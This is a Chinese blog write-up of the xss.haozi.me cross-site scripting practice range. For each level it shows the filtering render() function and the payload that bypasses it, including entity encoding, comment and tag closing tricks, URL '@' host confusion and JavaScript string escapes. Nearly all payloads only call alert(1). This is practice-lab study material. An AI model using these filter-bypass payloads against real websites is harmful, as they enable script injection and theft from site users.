xss靶场:https://xss.haozi.me 记录
2023-1-10 14:21:28 Author: X1aoYa0(查看原文) 阅读量:12 收藏

相信我们可以在一起很久很久,直到时光不朽。

很简单的反射性xss,输入<img src="1" onerror="alert(1)">,即可前往下一关。

看代码,

<textarea></textarea>

function render (input) {
return '<textarea>' + input + '</textarea>'
}

标签中有'<xxxxx>',那就别掉。

'</textarea>' <img src="1" onerror="alert(1)">

看代码

<input type="name" value=""

我们输入常规的反射xss:<script>alert('xyao')</script>

<input type="name" value="<script>alert('xyao')</script>"

我们可以看到,value=",这处需要闭合,所有构造xss:"><img src="1" onerror="alert(1)">

看代码

function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}

这里是过滤是()什么的,但是反撇号可行:<img src="1" onerror="alert`1`">

看代码

function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}

上一关我们通过`成功过关,这里就直接给你过滤掉了,所以我们用html实体编码绕过<img src="1" onerror="alert&#40;1&#41;">

附带网站:HML字符实体转换

看代码

<!--  -->

function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}

--!>闭合掉这个注释符

--!><img src="1" onerror="alert&#40;1&#41;">

看代码,

<input value=1  type="text">

function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}

这里我们需要在input标签中添加一个图片类型

type="image" src="1" onerror

="alert(1)"

看代码,

function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi

input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}

这里过滤了以/<\/?[^>]和>结尾的字符

<img src="1" onerror="alert&#40;1&#41;"

看代码

function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}

过滤了</style>标签,在尝试过程中,分开就绕过了

</style

><img src="1" onerror="alert(1)">

看代码

function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}

这里是过滤了url,所以常规闭合

https://www.segmentfault.com"></script><img src="1" onerror="alert(1)

看代码

function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f')
}

const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}

这里需要用到@,在URL中会解析@后面的网址

https://[email protected]/j.js

看代码

function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}

这边所有字母会给转换成大写

所以我们将alert(1)实例化:

<img src="1" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

看代码

function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

这里增加了script过滤,但这就显得多余了

<img src="1" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

看代码

function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}

这里采用--注释掉,因为这里过滤了'

alert(1);

-->

看代码

function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

这里是将标签里的第一个字母前加上_,并且在h1标签里

<ſcript src="https://xss.haozi.me/j.js" ></script>

看代码

<img src onerror="console.error('')">

function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f;')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

这里需要闭合掉所有标签

');alert(1)//

看代码

<script>
window.data =
</script>

function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}

这关和sql注入中的叠堆注入一个意思

0;alert(1)

看代码

script>
var url = 'javascript:console.log("")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>

// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}

跟0x0F一样后面,后面可以用//注释掉也可以用("闭合掉

");alert(1);//

看代码

<script>console.log("");</script>

// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}

由于"被替换成了\\,所以要用\进行转义

\");alert(1);//


文章来源: http://mp.weixin.qq.com/s?__biz=MzkyNTA4NDk1Ng==&mid=2247484458&idx=2&sn=b60d235ee6242ed70ed1b952cba76453&chksm=c1cab859f6bd314f19e19e6c7d1e89a602b2d48ca1f0826a0a9a278f2333673cde2b88ee47ea#rd
如有侵权请联系:admin#unsafe.sh